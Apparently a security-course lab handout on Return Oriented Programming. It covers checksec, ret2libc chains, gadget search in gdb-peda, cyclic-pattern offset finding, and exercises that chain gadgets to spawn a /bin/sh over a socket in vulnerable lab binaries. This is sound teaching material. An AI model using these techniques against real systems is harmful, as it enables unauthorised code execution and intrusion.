Slides

Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.

To apply reconnaisance on a given binary it is best to use the checksec.sh helper script. Let's apply it on a random binary:

# checksec.sh --file ./test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./a

• NX, as we have seen, typically applies to the stack: whether or not we can place shellcode on the stack and return to it.
• Stack Canary refers to the guard value placed right before the return address that is tested in the sanity check at the epilogue of a function against stack smashing.
• PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000).
• RELRO refers to the writability of the GOT section. More details here

Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.

# checksec.sh --proc-all | head
* System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)
 
  Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
  This, among other things, implies that shared libraries will be loaded to random 
  addresses. Also for PIE-linked binaries, the location of code start is randomized.
 
  See the kernel file 'Documentation/sysctl/kernel.txt' for more details.
 
* Does the CPU support NX: Yes

In exploitation it is important to gauge your efforts:

• if every protection mechanism is disabled you shouldn't try advanced exploit methods: stick to shellcode-on-stack methods.
• if you see Canary values check all the leaf functions to see if the compiler missed anything. If not, then check for an information leak (to read its value) or an arbitrary write (to overwrite the original one in the TLS at gs:0x14). Otherwise, see if you can overwrite anything useful before the guard value (variables that affect code flow such as function pointers)
• when encountering ASLR remember that on 32 bits it's pretty easy to bypass using bruteforce methods. Also remember that the executable image is fixed (if PIE is not enabled) so you might be able to reuse parts of it

In the previous sessions we discussed ret2libc attacks. The standard attack was to overwrite in the following way:

RET + 0x00:   addr of system
RET + 0x04:   JUNK
RET + 0x08:   address to desired command (e.g. '/bin/sh')

However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be:

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called)
RET + 0x0c:   0xAB (param1 of f2)
RET + 0x10:   0xCD (param2 of f2)

What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42) ?

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)  but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2) 

This kind of conflict can be resolved using Return Oriented Programming, a generalization of ret2libc attacks.

While ret2libc uses functions directly, Return Oriented Programming uses a finer level of code execution: instruction groups. Let's explore an example:

int main()
{
	char a[16];
	read(0, a, 100);
 
	return 0;
}

This code obviously suffers from a stack buffer overflow. The offset to the return address is 28. So dwords from offset 28 onwards will be popped from the stack and executed. Remember the NOP sled concept from previous sessions? These were long chains of NOP instructions (“\x90”) used to pad a payload for alignment purposes. Since we can't add any new code to the program (NX is enabled) how could we simulate the effect of a NOP sled? Easy! Using return instructions!

# objdump  -d a -M intel | grep $'\t'ret
 80482dd:	c3                   	ret    
 804837a:	c3                   	ret    
 80483b7:	c3                   	ret    
 8048437:	c3                   	ret    
 8048444:	c3                   	ret    
 80484a9:	c3                   	ret    
 80484ad:	c3                   	ret    
 80484c6:	c3                   	ret    

Any and all of these addresses will be ok. The payload could be the following:

RET + 0x00:   0x80482dd
RET + 0x04:   0x80482dd
RET + 0x08:   0x80482dd
RET + 0x0c:   0x80482dd
RET + 0x10:   0x80482dd
.....

The original ret (in the normal code flow) will pop RET+0x00 off the stack and jump to it. When it gets popped the stack is automatically increased by 4 (on to the next value). The instruction at 0x80482dd is another ret which does the same thing as before. This goes on until another address is popped off the stack that is not a ret.

That payload is not the only option. We don't really care which ret we pick. The payload could very well look like this:

RET + 0x00:   0x80482dd
RET + 0x04:   0x804837a
RET + 0x08:   0x80483b7
RET + 0x0c:   0x8048437
RET + 0x10:   0x80484c6
.....

Notice the addresses are different but because they all point to a ret instruction they will all have the same net effect on the code flow.

skel.py

#!/usr/bin/python
import struct, sys
 
def dw(i):
	return struct.pack("<I", i)
 
#TODO update count for your prog
pad_count_to_ret = 100
payload = "X" * pad_count_to_ret
 
#TODO figure out the rop chain
payload += dw(0xcafebeef)
payload += dw(0xdeadc0de)
 
 
sys.stdout.write(payload)

Now that we have a sort of neutral primitive equivalent to a NOP let's actually do something useful. The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction. Here are some 'gadgets' from the previous program:

0x8048443: pop ebp; ret
0x80484a7: pop edi; pop ebp; ret
0x8048441: mov ebp,esp; pop ebp; ret
0x80482da: pop eax; pop ebx; leave; ret
0x80484c3: pop ecx; pop ebx; leave; ret

By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload should look like:

RET + 0x00:   0x80482da  (pop eax; pop ebx; leave; ret)
RET + 0x04:   0x41424344
RET + 0x08:   0x61626364
RET + 0x0c:   0xAABBCCDD ???

• First the ret addr is popped from the stack and execution goes there.
• At pop eax 0x41424344 is loaded into eax and the stack is increased
• At pop ebx 0x61626364 is loaded into ebx and the stack is increased again
• At leave two things actually happen: “mov esp, ebp; pop ebp”. So the stack frame is decreased to the previous one (pointed by ebp) and ebp is updated to the one before that. So esp will now be the old ebp+4
• At ret code flow will go to the instruction pointed to by ebp+4. This implies that execution will not go to 0xAABBCCDD but to some other address that may or may not be in our control (depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ROP chain.

We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. As an example, if we want to call f1(0xAB, 0xCD, 0xEF) on x86_64 we first need to know the calling convention for the first three parameters:

• 1st param: RDI
• 2nd param: RSI
• 3rd param: RDX

Next we would need gadgets for each. Let's assume these 2 scenarios: Scenario 1:

0x400124:  pop rdi; pop rsi; ret
0x400235:  pop rdx; ret
0x400440:  f1()

Payload:
RET + 0x00:   0x400124
RET + 0x08:   val of RDI (0xAB)
RET + 0x10:   val of RSI (0xCD)
RET + 0x18:   0x400235
RET + 0x20:   val of RDX
RET + 0x28:   f1

Scenario 2:

0x400125:  pop rdi; ret
0x400252:  pop rsi; ret
0x400235:  pop rdx; ret
0x400440:  f1()

Payload:
RET + 0x00:   0x400125
RET + 0x08:   val of RDI (0xAB)
RET + 0x10:   0x400252
RET + 0x18:   val of RSI (0xCD)
RET + 0x20:   0x400235 
RET + 0x28:   val of RDX
RET + 0x30:   f1

Notice that because the architecture is 64 bits wide, the values on the stack are not dwords but qwords (quad words: 8 bytes wide)

The second use of gadgets is to clear the stack. Remember the issue we had in the Motivation section? Let's solve it using gadgets. We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was:

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)  but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2) 

The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a pop pop ret gadget. The actual registers are not important.

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret) 
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   JUNK
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2) 

Now we can even call the next function f3 if we repeat the trick:

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret) 
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   addr of (pop eax, pop ebx, ret) 
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2) 
RET + 0x20:   addr of f3

Let's take the following prog:

int main()
{
        int x, y ,z;
        char a,b,c;
        char buf[23];
        read(0, buf, 100);
 
        return 0;
}

A fairly simple overflow, right? How fast can you figure out the offset to the return address? How much padding do you need ? There is a shortcut that you can use to figure this out in under 30 seconds without looking at the assembly.

A De Bruijn sequence is a string of symbols out of a given alphabet in which each consecutive K symbols only appear once in the whole string. If we can construct such a string out of printable characters then we only need to know the Segmentation Fault address. Converting it back to 4 bytes and searching for it in the initial string will give us the exact offset to the return address.

Peda can help you do this. Here's how:

gdb-peda$ help pattern_create 
Generate a cyclic pattern
Usage:
    pattern_create size [file]
 
gdb-peda$ pattern_create 100
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl'
 
gdb-peda$ help pattern_offset 
Search for offset of a value in cyclic pattern
Usage:
    pattern_offset value
 
gdb-peda$ pattern_offset AA8A
AA8A found at offset: 76

Things can even get more complex: if you insert such patterns as input to the program you can search for signs of where it got placed using peda. Here's how to figure out the offset to the return address in 3 commands for the previous program as promised:

# gdb -q ./a
Reading symbols from ./a...(no debugging symbols found)...done.
gdb-peda$ pattern_create 200
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A'
gdb-peda$ run
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A
 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7f97e54 --> 0x1a6d5c 
ECX: 0xffffcd49 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
EDX: 0x64 ('d')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41334141 ('AA3A')
ESP: 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
EIP: 0x41414541 ('AEAA')
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414541
[------------------------------------stack-------------------------------------]
0000| 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0004| 0xffffcd74 ("AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0008| 0xffffcd78 ("AfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0012| 0xffffcd7c ("5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0016| 0xffffcd80 ("AAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0020| 0xffffcd84 ("A6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0024| 0xffffcd88 ("HAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0028| 0xffffcd8c ("AA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0032| 0xffffcd90 ("AIAAiAA8AAJAAjAA9AAKAAkAALAAl")
0036| 0xffffcd94 ("iAA8AAJAAjAA9AAKAAkAALAAl")
0040| 0xffffcd98 ("AAJAAjAA9AAKAAkAALAAl")
0044| 0xffffcd9c ("AjAA9AAKAAkAALAAl")
0048| 0xffffcda0 ("9AAKAAkAALAAl")
0052| 0xffffcda4 ("AAkAALAAl")
0056| 0xffffcda8 ("ALAAl")
0060| 0xffffcdac --> 0x6c ('l')
 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414541 in ?? ()
 
 
 
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EIP+0 found at offset: 35
EBP+0 found at offset: 31
Registers point to pattern buffer:
[ECX] --> offset 0 - size ~100
[ESP] --> offset 39 - size ~61
Pattern buffer found at:
0xffffcd49 : offset    0 - size  100 ($sp + -0x27 [-10 dwords])
0xffffd1c6 : offset 23424 - size    4 ($sp + 0x456 [277 dwords])
0xffffd1d8 : offset 22930 - size    4 ($sp + 0x468 [282 dwords])
0xffffd276 : offset 48535 - size    4 ($sp + 0x506 [321 dwords])
References to pattern buffer found at:
0xffffcd20 : 0xffffcd49 ($sp + -0x50 [-20 dwords])
0xffffcd34 : 0xffffcd49 ($sp + -0x3c [-15 dwords])

As you can see from above, the base pointer gets trashed so backtracing is not possible

gdb-peda$ bt
#0  0x41414541 in ?? ()
#1  0x34414165 in ?? ()
#2  0x41464141 in ?? ()
#3  0x41416641 in ?? ()

If this program was larger you wouldn't know which “ret” is the last one executed before jumping into the payload. You can set a breakpoint on all declared functions (if the program has not been stripped) using rbreak and then ignoring them:

gdb-peda$ rbreak 
Breakpoint 1 at 0x80482d4
<function, no debug info> _init;
Breakpoint 2 at 0x8048310
<function, no debug info> read@plt;
Breakpoint 3 at 0x8048320
<function, no debug info> __gmon_start__@plt;
Breakpoint 4 at 0x8048330
<function, no debug info> __libc_start_main@plt;
Breakpoint 5 at 0x8048340
<function, no debug info> _start;
Breakpoint 6 at 0x8048370
<function, no debug info> __x86.get_pc_thunk.bx;
Breakpoint 7 at 0x804843f
<function, no debug info> main;
Breakpoint 8 at 0x8048470
<function, no debug info> __libc_csu_init;
Breakpoint 9 at 0x80484e0
<function, no debug info> __libc_csu_fini;
Breakpoint 10 at 0x80484e4
<function, no debug info> _fini;
 
 
gdb-peda$ commands
Type commands for breakpoint(s) 1-10, one per line.
End with a line saying just "end".
>continue
>end
 
 
gdb-peda$ run
Starting program: /ctf/Hexcellents/summerschool2014/lab_material/session-12/tut1/a 
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
 
Breakpoint 4, 0x08048330 in __libc_start_main@plt ()
 
Breakpoint 8, 0x08048470 in __libc_csu_init ()
 
Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx ()
 
Breakpoint 1, 0x080482d4 in _init ()
 
Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx ()
 
Breakpoint 7, 0x0804843f in main ()
 
Breakpoint 2, 0x08048310 in read@plt ()
 
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7
 
Program received signal SIGSEGV, Segmentation fault.
0x41414541 in ?? ()

When you know what the offending function is, disassemble it and break on “ret”

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0804843c <+0>:	push   ebp
   0x0804843d <+1>:	mov    ebp,esp
   0x0804843f <+3>:	and    esp,0xfffffff0
   0x08048442 <+6>:	sub    esp,0x30
   0x08048445 <+9>:	mov    DWORD PTR [esp+0x8],0x64
   0x0804844d <+17>:	lea    eax,[esp+0x19]
   0x08048451 <+21>:	mov    DWORD PTR [esp+0x4],eax
   0x08048455 <+25>:	mov    DWORD PTR [esp],0x0
   0x0804845c <+32>:	call   0x8048310 <read@plt>
   0x08048461 <+37>:	mov    eax,0x0
   0x08048466 <+42>:	leave  
   0x08048467 <+43>:	ret    
End of assembler dump.
gdb-peda$ b *0x08048467
Breakpoint 1 at 0x8048467
 
 
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7f97e54 --> 0x1a6d5c 
ECX: 0xffffcd49 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA\n\300\317\377\367\034")
EDX: 0x64 ('d')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41334141 ('AA3A')
ESP: 0xffffcd6c ("AEAAeAA4AAFAAfA\n\300\317\377\367\034")
EIP: 0x8048467 (<main+43>:	ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048445 <main+9>:	mov    DWORD PTR [esp+0x8],0x64
   0x804844d <main+17>:	lea    eax,[esp+0x19]
   0x8048451 <main+21>:	mov    DWORD PTR [esp+0x4],eax
   0x8048455 <main+25>:	mov    DWORD PTR [esp],0x0
   0x804845c <main+32>:	call   0x8048310 <read@plt>
   0x8048461 <main+37>:	mov    eax,0x0
   0x8048466 <main+42>:	leave  
=> 0x8048467 <main+43>:	ret    
   0x8048468:	xchg   ax,ax
   0x804846a:	xchg   ax,ax
   0x804846c:	xchg   ax,ax
   0x804846e:	xchg   ax,ax
   0x8048470 <__libc_csu_init>:	push   ebp
   0x8048471 <__libc_csu_init+1>:	push   edi
   0x8048472 <__libc_csu_init+2>:	xor    edi,edi
   0x8048474 <__libc_csu_init+4>:	push   esi
[------------------------------------stack-------------------------------------]
0000| 0xffffcd6c --> 0xf7e333e0 (<system>:	sub    esp,0x1c)
0004| 0xffffcd70 --> 0x80484cf (<__libc_csu_init+95>:	pop    ebp)
0008| 0xffffcd74 --> 0xf7f56be6 ("/bin/sh")
0012| 0xffffcd78 --> 0xf7e25c00 (<exit>:	push   ebx)
 
 
gdb-peda$ patto AEAAeAA4AAFAAfA
AEAAeAA4AAFAAfA found at offset: 35

Then you can break on all called functions or step as needed to see if the payload is doing what you want it to.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Apart from objdump which only finds aligned instructions, you can also use dumprop in peda to find all gadgets in a memory region or mapping:

gdb-peda$ start
....
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: a-rop.txt ...
0x8048467: ret
0x804835d: iret
0x804838f: repz ret
0x80483be: ret 0xeac1
0x80483a9: leave; ret
0x80485b4: inc ecx; ret
0x80484cf: pop ebp; ret
0x80482f5: pop ebx; ret
0x80484df: nop; repz ret
0x80483a8: ror cl,1; ret
0x804838e: add dh,bl; ret
0x80483e5: ror cl,cl; ret
0x8048465: add cl,cl; ret
0x804840b: leave; repz ret
0x8048371: sbb al,0x24; ret
0x80485b3: adc al,0x41; ret
0x8048370: mov ebx,[esp]; ret
0x80484de: nop; nop; repz ret
0x80483a7: call eax; leave; ret
0x80483e4: call edx; leave; ret
0x804840a: add ecx,ecx; repz ret
0x80484ce: pop edi; pop ebp; ret

Something finer is:

gdb-peda$ asmsearch "pop ? ; ret"
0x080482f5 : (5bc3)	pop    ebx;	ret
0x080484cf : (5dc3)	pop    ebp;	ret
0x080484f6 : (5bc3)	pop    ebx;	ret
 
gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
0x080484ce : (5f5dc3)	pop    edi;	pop    ebp;	ret
 
gdb-peda$ asmsearch "call ?"
0x080483a7 : (ffd0)	call   eax
0x080483e4 : (ffd2)	call   edx
0x0804842f : (ffd0)	call   eax

There can be various annoyances in binaries: ptrace calls for anti-debugging, sleep calls to prevent bruteforcing or fork calls to use child processes to serve requests. These can all be deactivated using unptrace (for ptrace) and deactive in peda.

Download the task archive sess-12.tgz

This task requires you to construct a payload using gadgets and calling the functions inside such that it will print

Hello!
stage A!stage B!

Make it also print the messages in reverse order:

Hello!
stage B!stage A!

This task is a network service that can be exploited. Run it locally and try to exploit it. You'll find that if you call system(“/bin/sh”) the shell is opened in the terminal where the server was started instead of the one where the attack takes place. This happens because the client-server communication takes place over a socket. When you spawn a shell it will inherit the Standard I/O descriptors from the parent and use those. To fix this you need to redirect the socket fd into 0,1 (and optionally 2).

So you will need to do the equivalent of the following in a ROP chain:

	dup2(sockfd, 1);
	dup2(sockfd, 0);
	system("/bin/sh");

Exploit it first with ASLR disabled and then enabled.